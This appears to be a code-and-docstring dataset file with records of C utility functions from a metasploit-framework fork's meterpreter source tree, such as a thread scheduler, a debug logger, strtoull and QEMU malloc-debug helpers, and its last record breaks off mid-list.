8b3237541162a3656deaaaf27924e1f0f462406b | Oxicode/metasploit-framework | external/source/meterpreter/source/common/arch/win/scheduler.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | scheduler_remove_waitable | DWORD | DWORD scheduler_remove_waitable( HANDLE waitable )
{
DWORD index = 0;
DWORD count = 0;
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
DWORD result = ERROR_SUCCESS;
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );
if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE;
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
entry = (WaitableEntry *)thread->parameter1;
if( entry == NULL )
continue;
if( entry->waitable == waitable )
{
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
thread_sigterm( thread );
result = ERROR_SUCCESS;
break;
}
}
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );
return result;
} | /*
* Remove a waitable object by signaling the waitable thread to terminate.
*/ | Remove a waitable object by signaling the waitable thread to terminate. | [
"Remove",
"a",
"waitable",
"object",
"by",
"signaling",
"the",
"waitable",
"thread",
"to",
"terminate",
"."
] | DWORD scheduler_remove_waitable( HANDLE waitable )
{
DWORD index = 0;
DWORD count = 0;
THREAD * thread = NULL;
WaitableEntry * entry = NULL;
DWORD result = ERROR_SUCCESS;
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );
if( schedulerThreadList == NULL || waitable == NULL )
return ERROR_INVALID_HANDLE;
lock_acquire( schedulerThreadList->lock );
count = list_count( schedulerThreadList );
for( index=0 ; index < count ; index++ )
{
thread = (THREAD *)list_get( schedulerThreadList, index );
if( thread == NULL )
continue;
entry = (WaitableEntry *)thread->parameter1;
if( entry == NULL )
continue;
if( entry->waitable == waitable )
{
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
thread_sigterm( thread );
result = ERROR_SUCCESS;
break;
}
}
lock_release( schedulerThreadList->lock );
dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );
return result;
} | [
"DWORD",
"scheduler_remove_waitable",
"(",
"HANDLE",
"waitable",
")",
"{",
"DWORD",
"index",
"=",
"0",
";",
"DWORD",
"count",
"=",
"0",
";",
"THREAD",
"*",
"thread",
"=",
"NULL",
";",
"WaitableEntry",
"*",
"entry",
"=",
"NULL",
";",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"waitable",
")",
";",
"if",
"(",
"schedulerThreadList",
"==",
"NULL",
"||",
"waitable",
"==",
"NULL",
")",
"return",
"ERROR_INVALID_HANDLE",
";",
"lock_acquire",
"(",
"schedulerThreadList",
"->",
"lock",
")",
";",
"count",
"=",
"list_count",
"(",
"schedulerThreadList",
")",
";",
"for",
"(",
"index",
"=",
"0",
";",
"index",
"<",
"count",
";",
"index",
"++",
")",
"{",
"thread",
"=",
"(",
"THREAD",
"*",
")",
"list_get",
"(",
"schedulerThreadList",
",",
"index",
")",
";",
"if",
"(",
"thread",
"==",
"NULL",
")",
"continue",
";",
"entry",
"=",
"(",
"WaitableEntry",
"*",
")",
"thread",
"->",
"parameter1",
";",
"if",
"(",
"entry",
"==",
"NULL",
")",
"continue",
";",
"if",
"(",
"entry",
"->",
"waitable",
"==",
"waitable",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"waitable",
",",
"thread",
")",
";",
"thread_sigterm",
"(",
"thread",
")",
";",
"result",
"=",
"ERROR_SUCCESS",
";",
"break",
";",
"}",
"}",
"lock_release",
"(",
"schedulerThreadList",
"->",
"lock",
")",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"return",
"result",
";",
"}"
] | Remove a waitable object by signaling the waitable thread to terminate. | [
"Remove",
"a",
"waitable",
"object",
"by",
"signaling",
"the",
"waitable",
"thread",
"to",
"terminate",
"."
] | [] | [
{
"param": "waitable",
"type": "HANDLE"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "waitable",
"type": "HANDLE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
6b2fa58f62e16b1eca994229faa038f1a546a7cc | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/bionic_clone.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | __bionic_clone_entry | void | extern void
__bionic_clone_entry( int (*fn)(void *), void *arg )
{
int ret = (*fn)(arg);
_exit_thread(ret);
} | /* this function is called from the __bionic_clone
* assembly fragment to call the thread function
* then exit. */ | this function is called from the __bionic_clone
assembly fragment to call the thread function
then exit. | [
"this",
"function",
"is",
"called",
"from",
"the",
"__bionic_clone",
"assembly",
"fragment",
"to",
"call",
"the",
"thread",
"function",
"then",
"exit",
"."
] | extern void
__bionic_clone_entry( int (*fn)(void *), void *arg )
{
int ret = (*fn)(arg);
_exit_thread(ret);
} | [
"extern",
"void",
"__bionic_clone_entry",
"(",
"int",
"(",
"*",
"fn",
")",
"(",
"void",
"*",
")",
",",
"void",
"*",
"arg",
")",
"{",
"int",
"ret",
"=",
"(",
"*",
"fn",
")",
"(",
"arg",
")",
";",
"_exit_thread",
"(",
"ret",
")",
";",
"}"
] | this function is called from the __bionic_clone
assembly fragment to call the thread function
then exit. | [
"this",
"function",
"is",
"called",
"from",
"the",
"__bionic_clone",
"assembly",
"fragment",
"to",
"call",
"the",
"thread",
"function",
"then",
"exit",
"."
] | [] | [
{
"param": "fn",
"type": "int"
},
{
"param": "arg",
"type": "void"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "fn",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "arg",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
6b12b92dd62c8842c4a74aea02b9e9c4726f6902 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/common.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | current_unix_timestamp | int | int current_unix_timestamp(void) {
struct timeval tv;
struct timezone tz;
memset(&tv, 0, sizeof(tv));
memset(&tz, 0, sizeof(tz));
gettimeofday(&tv, &tz);
return (long) tv.tv_usec;
} | // This function returns a unix timestamp in UTC
| This function returns a unix timestamp in UTC | [
"This",
"function",
"returns",
"a",
"unix",
"timestamp",
"in",
"UTC"
] | int current_unix_timestamp(void) {
struct timeval tv;
struct timezone tz;
memset(&tv, 0, sizeof(tv));
memset(&tz, 0, sizeof(tz));
gettimeofday(&tv, &tz);
return (long) tv.tv_usec;
} | [
"int",
"current_unix_timestamp",
"(",
"void",
")",
"{",
"struct",
"timeval",
"tv",
";",
"struct",
"timezone",
"tz",
";",
"memset",
"(",
"&",
"tv",
",",
"0",
",",
"sizeof",
"(",
"tv",
")",
")",
";",
"memset",
"(",
"&",
"tz",
",",
"0",
",",
"sizeof",
"(",
"tz",
")",
")",
";",
"gettimeofday",
"(",
"&",
"tv",
",",
"&",
"tz",
")",
";",
"return",
"(",
"long",
")",
"tv",
".",
"tv_usec",
";",
"}"
] | This function returns a unix timestamp in UTC | [
"This",
"function",
"returns",
"a",
"unix",
"timestamp",
"in",
"UTC"
] | [] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
6b12b92dd62c8842c4a74aea02b9e9c4726f6902 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/common.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | real_dprintf | void | void real_dprintf(char *filename, int line, const char *function, char *format, ...)
{
va_list args;
char buffer[2048];
int size;
static int fd;
int retried = 0;
filename = basename(filename);
size = snprintf(buffer, sizeof(buffer), "[%s:%d (%s)] ", filename, line, function);
va_start(args, format);
vsnprintf(buffer + size, sizeof(buffer) - size, format, args);
strcat(buffer, "\n");
va_end(args);
retry_log:
if(fd <= 0) {
char filename[128];
sprintf(filename, "/tmp/meterpreter.log.%d%s", getpid(), retried ? ".retry" : "" );
fd = open(filename, O_RDWR|O_TRUNC|O_CREAT|O_SYNC, 0644);
if(fd <= 0) return;
}
if(write(fd, buffer, strlen(buffer)) == -1 && (errno == EBADF)) {
fd = -1;
retried++;
goto retry_log;
}
} | /*
* If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
* This leads to bloat. Defining it here means that there will only be a single implementation of it.
*/ | If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
This leads to bloat. Defining it here means that there will only be a single implementation of it. | [
"If",
"we",
"supply",
"real_dprintf",
"in",
"the",
"common",
".",
"h",
"each",
".",
"o",
"file",
"will",
"have",
"a",
"private",
"copy",
"of",
"that",
"symbol",
".",
"This",
"leads",
"to",
"bloat",
".",
"Defining",
"it",
"here",
"means",
"that",
"there",
"will",
"only",
"be",
"a",
"single",
"implementation",
"of",
"it",
"."
] | void real_dprintf(char *filename, int line, const char *function, char *format, ...)
{
va_list args;
char buffer[2048];
int size;
static int fd;
int retried = 0;
filename = basename(filename);
size = snprintf(buffer, sizeof(buffer), "[%s:%d (%s)] ", filename, line, function);
va_start(args, format);
vsnprintf(buffer + size, sizeof(buffer) - size, format, args);
strcat(buffer, "\n");
va_end(args);
retry_log:
if(fd <= 0) {
char filename[128];
sprintf(filename, "/tmp/meterpreter.log.%d%s", getpid(), retried ? ".retry" : "" );
fd = open(filename, O_RDWR|O_TRUNC|O_CREAT|O_SYNC, 0644);
if(fd <= 0) return;
}
if(write(fd, buffer, strlen(buffer)) == -1 && (errno == EBADF)) {
fd = -1;
retried++;
goto retry_log;
}
} | [
"void",
"real_dprintf",
"(",
"char",
"*",
"filename",
",",
"int",
"line",
",",
"const",
"char",
"*",
"function",
",",
"char",
"*",
"format",
",",
"...",
")",
"{",
"va_list",
"args",
";",
"char",
"buffer",
"[",
"2048",
"]",
";",
"int",
"size",
";",
"static",
"int",
"fd",
";",
"int",
"retried",
"=",
"0",
";",
"filename",
"=",
"basename",
"(",
"filename",
")",
";",
"size",
"=",
"snprintf",
"(",
"buffer",
",",
"sizeof",
"(",
"buffer",
")",
",",
"\"",
"\"",
",",
"filename",
",",
"line",
",",
"function",
")",
";",
"va_start",
"(",
"args",
",",
"format",
")",
";",
"vsnprintf",
"(",
"buffer",
"+",
"size",
",",
"sizeof",
"(",
"buffer",
")",
"-",
"size",
",",
"format",
",",
"args",
")",
";",
"strcat",
"(",
"buffer",
",",
"\"",
"\\n",
"\"",
")",
";",
"va_end",
"(",
"args",
")",
";",
"retry_log",
":",
"if",
"(",
"fd",
"<=",
"0",
")",
"{",
"char",
"filename",
"[",
"128",
"]",
";",
"sprintf",
"(",
"filename",
",",
"\"",
"\"",
",",
"getpid",
"(",
")",
",",
"retried",
"?",
"\"",
"\"",
":",
"\"",
"\"",
")",
";",
"fd",
"=",
"open",
"(",
"filename",
",",
"O_RDWR",
"|",
"O_TRUNC",
"|",
"O_CREAT",
"|",
"O_SYNC",
",",
"0644",
")",
";",
"if",
"(",
"fd",
"<=",
"0",
")",
"return",
";",
"}",
"if",
"(",
"write",
"(",
"fd",
",",
"buffer",
",",
"strlen",
"(",
"buffer",
")",
")",
"==",
"-1",
"&&",
"(",
"errno",
"==",
"EBADF",
")",
")",
"{",
"fd",
"=",
"-1",
";",
"retried",
"++",
";",
"goto",
"retry_log",
";",
"}",
"}"
] | If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol. | [
"If",
"we",
"supply",
"real_dprintf",
"in",
"the",
"common",
".",
"h",
"each",
".",
"o",
"file",
"will",
"have",
"a",
"private",
"copy",
"of",
"that",
"symbol",
"."
] | [] | [
{
"param": "filename",
"type": "char"
},
{
"param": "line",
"type": "int"
},
{
"param": "function",
"type": "char"
},
{
"param": "format",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "filename",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "line",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "function",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "format",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
36698acc66190530514bdd40e5ffa8a230355f9c | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdlib/strtoull.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | strtoull | null | unsigned long long
strtoull(const char *nptr, char **endptr, int base)
{
return (unsigned long long)strtoumax(nptr, endptr, base);
} | /*
* Convert a string to an unsigned long long.
*
* Ignores `locale' stuff. Assumes that the upper and lower case
* alphabets and digits are each contiguous.
*/ | Convert a string to an unsigned long long.
Ignores `locale' stuff. Assumes that the upper and lower case
alphabets and digits are each contiguous. | [
"Convert",
"a",
"string",
"to",
"an",
"unsigned",
"long",
"long",
".",
"Ignores",
"`",
"locale",
"'",
"stuff",
".",
"Assumes",
"that",
"the",
"upper",
"and",
"lower",
"case",
"alphabets",
"and",
"digits",
"are",
"each",
"contiguous",
"."
] | unsigned long long
strtoull(const char *nptr, char **endptr, int base)
{
return (unsigned long long)strtoumax(nptr, endptr, base);
} | [
"unsigned",
"long",
"long",
"strtoull",
"(",
"const",
"char",
"*",
"nptr",
",",
"char",
"*",
"*",
"endptr",
",",
"int",
"base",
")",
"{",
"return",
"(",
"unsigned",
"long",
"long",
")",
"strtoumax",
"(",
"nptr",
",",
"endptr",
",",
"base",
")",
";",
"}"
] | Convert a string to an unsigned long long. | [
"Convert",
"a",
"string",
"to",
"an",
"unsigned",
"long",
"long",
"."
] | [] | [
{
"param": "nptr",
"type": "char"
},
{
"param": "endptr",
"type": "char"
},
{
"param": "base",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "nptr",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "endptr",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "base",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | mallocdesc_user_ptr | void | static inline void*
mallocdesc_user_ptr(const MallocDesc* desc)
{
return (char*)desc->ptr + desc->prefix_size;
} | /* Gets pointer, returned to malloc caller for the given allocation decriptor.
* Param:
* desc - Allocation descriptor.
* Return:
* Pointer to the allocated memory returned to the malloc caller.
*/ | Gets pointer, returned to malloc caller for the given allocation decriptor.
Param:
desc - Allocation descriptor.
Return:
Pointer to the allocated memory returned to the malloc caller. | [
"Gets",
"pointer",
"returned",
"to",
"malloc",
"caller",
"for",
"the",
"given",
"allocation",
"decriptor",
".",
"Param",
":",
"desc",
"-",
"Allocation",
"descriptor",
".",
"Return",
":",
"Pointer",
"to",
"the",
"allocated",
"memory",
"returned",
"to",
"the",
"malloc",
"caller",
"."
] | static inline void*
mallocdesc_user_ptr(const MallocDesc* desc)
{
return (char*)desc->ptr + desc->prefix_size;
} | [
"static",
"inline",
"void",
"*",
"mallocdesc_user_ptr",
"(",
"const",
"MallocDesc",
"*",
"desc",
")",
"{",
"return",
"(",
"char",
"*",
")",
"desc",
"->",
"ptr",
"+",
"desc",
"->",
"prefix_size",
";",
"}"
] | Gets pointer, returned to malloc caller for the given allocation decriptor. | [
"Gets",
"pointer",
"returned",
"to",
"malloc",
"caller",
"for",
"the",
"given",
"allocation",
"decriptor",
"."
] | [] | [
{
"param": "desc",
"type": "MallocDesc"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "desc",
"type": "MallocDesc",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | mallocdesc_alloc_size | uint32_t | static inline uint32_t
mallocdesc_alloc_size(const MallocDesc* desc)
{
return desc->prefix_size + desc->requested_bytes + desc->suffix_size;
} | /* Gets size of memory block actually allocated from the heap for the given
* allocation decriptor.
* Param:
* desc - Allocation descriptor.
* Return:
* Size of memory block actually allocated from the heap.
*/ | Gets size of memory block actually allocated from the heap for the given
allocation decriptor.
Param:
desc - Allocation descriptor.
Return:
Size of memory block actually allocated from the heap. | [
"Gets",
"size",
"of",
"memory",
"block",
"actually",
"allocated",
"from",
"the",
"heap",
"for",
"the",
"given",
"allocation",
"decriptor",
".",
"Param",
":",
"desc",
"-",
"Allocation",
"descriptor",
".",
"Return",
":",
"Size",
"of",
"memory",
"block",
"actually",
"allocated",
"from",
"the",
"heap",
"."
] | static inline uint32_t
mallocdesc_alloc_size(const MallocDesc* desc)
{
return desc->prefix_size + desc->requested_bytes + desc->suffix_size;
} | [
"static",
"inline",
"uint32_t",
"mallocdesc_alloc_size",
"(",
"const",
"MallocDesc",
"*",
"desc",
")",
"{",
"return",
"desc",
"->",
"prefix_size",
"+",
"desc",
"->",
"requested_bytes",
"+",
"desc",
"->",
"suffix_size",
";",
"}"
] | Gets size of memory block actually allocated from the heap for the given
allocation decriptor. | [
"Gets",
"size",
"of",
"memory",
"block",
"actually",
"allocated",
"from",
"the",
"heap",
"for",
"the",
"given",
"allocation",
"decriptor",
"."
] | [] | [
{
"param": "desc",
"type": "MallocDesc"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "desc",
"type": "MallocDesc",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | mallocdesc_alloc_end | void | static inline void*
mallocdesc_alloc_end(const MallocDesc* desc)
{
return (char*)desc->ptr + mallocdesc_alloc_size(desc);
} | /* Gets pointer to the end of the allocated block for the given descriptor.
* Param:
* desc - Descriptor for the memory block, allocated in malloc handler.
* Return:
* Pointer to the end of (one byte past) the allocated block.
*/ | Gets pointer to the end of the allocated block for the given descriptor.
Param:
desc - Descriptor for the memory block, allocated in malloc handler.
Return:
Pointer to the end of (one byte past) the allocated block. | [
"Gets",
"pointer",
"to",
"the",
"end",
"of",
"the",
"allocated",
"block",
"for",
"the",
"given",
"descriptor",
".",
"Param",
":",
"desc",
"-",
"Descriptor",
"for",
"the",
"memory",
"block",
"allocated",
"in",
"malloc",
"handler",
".",
"Return",
":",
"Pointer",
"to",
"the",
"end",
"of",
"(",
"one",
"byte",
"past",
")",
"the",
"allocated",
"block",
"."
] | static inline void*
mallocdesc_alloc_end(const MallocDesc* desc)
{
return (char*)desc->ptr + mallocdesc_alloc_size(desc);
} | [
"static",
"inline",
"void",
"*",
"mallocdesc_alloc_end",
"(",
"const",
"MallocDesc",
"*",
"desc",
")",
"{",
"return",
"(",
"char",
"*",
")",
"desc",
"->",
"ptr",
"+",
"mallocdesc_alloc_size",
"(",
"desc",
")",
";",
"}"
] | Gets pointer to the end of the allocated block for the given descriptor. | [
"Gets",
"pointer",
"to",
"the",
"end",
"of",
"the",
"allocated",
"block",
"for",
"the",
"given",
"descriptor",
"."
] | [] | [
{
"param": "desc",
"type": "MallocDesc"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "desc",
"type": "MallocDesc",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | notify_qemu_malloc | int | static inline int
notify_qemu_malloc(volatile MallocDesc* desc)
{
desc->libc_pid = malloc_pid;
desc->allocator_pid = getpid();
desc->av_count = 0;
notify_qemu(TRACE_DEV_REG_MALLOC, (uint32_t)desc);
/* Emulator reports failure by zeroing libc_pid field of the
* descriptor. */
return desc->libc_pid != 0 ? 0 : -1;
} | /* Fires up TRACE_DEV_REG_MALLOC event in the emulator.
* Param:
* desc - Pointer to MallocDesc instance containing allocated block
* information.
* Return:
* Zero on success, or -1 on failure. Note that on failure libc_pid field of
* the desc parameter passed to this routine has been zeroed out by the
* emulator.
*/ | Fires up TRACE_DEV_REG_MALLOC event in the emulator.
Param:
desc - Pointer to MallocDesc instance containing allocated block
information.
Return:
Zero on success, or -1 on failure. Note that on failure libc_pid field of
the desc parameter passed to this routine has been zeroed out by the
emulator. | [
"Fires",
"up",
"TRACE_DEV_REG_MALLOC",
"event",
"in",
"the",
"emulator",
".",
"Param",
":",
"desc",
"-",
"Pointer",
"to",
"MallocDesc",
"instance",
"containing",
"allocated",
"block",
"information",
".",
"Return",
":",
"Zero",
"on",
"success",
"or",
"-",
"1",
"on",
"failure",
".",
"Note",
"that",
"on",
"failure",
"libc_pid",
"field",
"of",
"the",
"desc",
"parameter",
"passed",
"to",
"this",
"routine",
"has",
"been",
"zeroed",
"out",
"by",
"the",
"emulator",
"."
] | static inline int
notify_qemu_malloc(volatile MallocDesc* desc)
{
desc->libc_pid = malloc_pid;
desc->allocator_pid = getpid();
desc->av_count = 0;
notify_qemu(TRACE_DEV_REG_MALLOC, (uint32_t)desc);
return desc->libc_pid != 0 ? 0 : -1;
} | [
"static",
"inline",
"int",
"notify_qemu_malloc",
"(",
"volatile",
"MallocDesc",
"*",
"desc",
")",
"{",
"desc",
"->",
"libc_pid",
"=",
"malloc_pid",
";",
"desc",
"->",
"allocator_pid",
"=",
"getpid",
"(",
")",
";",
"desc",
"->",
"av_count",
"=",
"0",
";",
"notify_qemu",
"(",
"TRACE_DEV_REG_MALLOC",
",",
"(",
"uint32_t",
")",
"desc",
")",
";",
"return",
"desc",
"->",
"libc_pid",
"!=",
"0",
"?",
"0",
":",
"-1",
";",
"}"
] | Fires up TRACE_DEV_REG_MALLOC event in the emulator. | [
"Fires",
"up",
"TRACE_DEV_REG_MALLOC",
"event",
"in",
"the",
"emulator",
"."
] | [
"/* Emulator reports failure by zeroing libc_pid field of the\n * descriptor. */"
] | [
{
"param": "desc",
"type": "MallocDesc"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "desc",
"type": "MallocDesc",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | query_qemu_malloc_info | int | static inline int
query_qemu_malloc_info(void* ptr, MallocDesc* desc, uint32_t routine)
{
volatile MallocDescQuery query;
query.ptr = ptr;
query.libc_pid = malloc_pid;
query.query_pid = getpid();
query.routine = routine;
query.desc = desc;
notify_qemu(TRACE_DEV_REG_QUERY_MALLOC, (uint32_t)&query);
/* Emulator reports failure by zeroing libc_pid field of the
* descriptor. */
return query.libc_pid != 0 ? 0 : -1;
} | /* Fires up TRACE_DEV_REG_QUERY_MALLOC event in the emulator.
* Param:
* ptr - Pointer to request allocation information for.
* desc - Pointer to MallocDesc instance that will receive allocation
* information.
* routine - Code of the allocation routine, in context of which query is made:
* 1 - free
* 2 - realloc
* Return:
* Zero on success, or -1 on failure.
*/ | Fires up TRACE_DEV_REG_QUERY_MALLOC event in the emulator.
Param:
ptr - Pointer to request allocation information for.
desc - Pointer to MallocDesc instance that will receive allocation
information.
routine - Code of the allocation routine, in context of which query is made:
1 - free
2 - realloc
Return:
Zero on success, or -1 on failure. | [
"Fires",
"up",
"TRACE_DEV_REG_QUERY_MALLOC",
"event",
"in",
"the",
"emulator",
".",
"Param",
":",
"ptr",
"-",
"Pointer",
"to",
"request",
"allocation",
"information",
"for",
".",
"desc",
"-",
"Pointer",
"to",
"MallocDesc",
"instance",
"that",
"will",
"receive",
"allocation",
"information",
".",
"routine",
"-",
"Code",
"of",
"the",
"allocation",
"routine",
"in",
"context",
"of",
"which",
"query",
"is",
"made",
":",
"1",
"-",
"free",
"2",
"-",
"realloc",
"Return",
":",
"Zero",
"on",
"success",
"or",
"-",
"1",
"on",
"failure",
"."
] | static inline int
query_qemu_malloc_info(void* ptr, MallocDesc* desc, uint32_t routine)
{
volatile MallocDescQuery query;
query.ptr = ptr;
query.libc_pid = malloc_pid;
query.query_pid = getpid();
query.routine = routine;
query.desc = desc;
notify_qemu(TRACE_DEV_REG_QUERY_MALLOC, (uint32_t)&query);
return query.libc_pid != 0 ? 0 : -1;
} | [
"static",
"inline",
"int",
"query_qemu_malloc_info",
"(",
"void",
"*",
"ptr",
",",
"MallocDesc",
"*",
"desc",
",",
"uint32_t",
"routine",
")",
"{",
"volatile",
"MallocDescQuery",
"query",
";",
"query",
".",
"ptr",
"=",
"ptr",
";",
"query",
".",
"libc_pid",
"=",
"malloc_pid",
";",
"query",
".",
"query_pid",
"=",
"getpid",
"(",
")",
";",
"query",
".",
"routine",
"=",
"routine",
";",
"query",
".",
"desc",
"=",
"desc",
";",
"notify_qemu",
"(",
"TRACE_DEV_REG_QUERY_MALLOC",
",",
"(",
"uint32_t",
")",
"&",
"query",
")",
";",
"return",
"query",
".",
"libc_pid",
"!=",
"0",
"?",
"0",
":",
"-1",
";",
"}"
] | Fires up TRACE_DEV_REG_QUERY_MALLOC event in the emulator. | [
"Fires",
"up",
"TRACE_DEV_REG_QUERY_MALLOC",
"event",
"in",
"the",
"emulator",
"."
] | [
"/* Emulator reports failure by zeroing libc_pid field of the\n * descriptor. */"
] | [
{
"param": "ptr",
"type": "void"
},
{
"param": "desc",
"type": "MallocDesc"
},
{
"param": "routine",
"type": "uint32_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "ptr",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "desc",
"type": "MallocDesc",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "routine",
"type": "uint32_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | malloc_debug_initialize | int | int
malloc_debug_initialize(void)
{
/* We will be using emulator's magic page to report memory allocation
* activities. In essence, what magic page does, it translates writes to
* the memory mapped spaces into writes to an I/O port that emulator
* "listens to" on the other end. Note that until we open and map that
* device, logging to emulator's stdout will not be available. */
int fd = open("/dev/qemu_trace", O_RDWR);
if (fd < 0) {
error_log("Unable to open /dev/qemu_trace");
return -1;
} else {
qtrace = mmap(0, PAGESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
close(fd);
if (qtrace == MAP_FAILED) {
qtrace = NULL;
error_log("Unable to mmap /dev/qemu_trace");
return -1;
}
}
/* Cache pid of the process this library has been initialized for. */
malloc_pid = getpid();
return 0;
} | /* Initializes malloc debugging instrumentation for the emulator.
* This routine is called from malloc_init_impl routine implemented in
* bionic/libc/bionic/malloc_debug_common.c when malloc debugging gets
* initialized for a process. The way malloc debugging implementation is
* done, it is guaranteed that this routine will be called just once per
* process.
* Return:
* 0 on success, or -1 on failure.
*/ | Initializes malloc debugging instrumentation for the emulator.
This routine is called from malloc_init_impl routine implemented in
bionic/libc/bionic/malloc_debug_common.c when malloc debugging gets
initialized for a process. The way malloc debugging implementation is
done, it is guaranteed that this routine will be called just once per
process.
Return:
0 on success, or -1 on failure. | [
"Initializes",
"malloc",
"debugging",
"instrumentation",
"for",
"the",
"emulator",
".",
"This",
"routine",
"is",
"called",
"from",
"malloc_init_impl",
"routine",
"implemented",
"in",
"bionic",
"/",
"libc",
"/",
"bionic",
"/",
"malloc_debug_common",
".",
"c",
"when",
"malloc",
"debugging",
"gets",
"initialized",
"for",
"a",
"process",
".",
"The",
"way",
"malloc",
"debugging",
"implementation",
"is",
"done",
"it",
"is",
"guaranteed",
"that",
"this",
"routine",
"will",
"be",
"called",
"just",
"once",
"per",
"process",
".",
"Return",
":",
"0",
"on",
"success",
"or",
"-",
"1",
"on",
"failure",
"."
] | int
malloc_debug_initialize(void)
{
int fd = open("/dev/qemu_trace", O_RDWR);
if (fd < 0) {
error_log("Unable to open /dev/qemu_trace");
return -1;
} else {
qtrace = mmap(0, PAGESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
close(fd);
if (qtrace == MAP_FAILED) {
qtrace = NULL;
error_log("Unable to mmap /dev/qemu_trace");
return -1;
}
}
malloc_pid = getpid();
return 0;
} | [
"int",
"malloc_debug_initialize",
"(",
"void",
")",
"{",
"int",
"fd",
"=",
"open",
"(",
"\"",
"\"",
",",
"O_RDWR",
")",
";",
"if",
"(",
"fd",
"<",
"0",
")",
"{",
"error_log",
"(",
"\"",
"\"",
")",
";",
"return",
"-1",
";",
"}",
"else",
"{",
"qtrace",
"=",
"mmap",
"(",
"0",
",",
"PAGESIZE",
",",
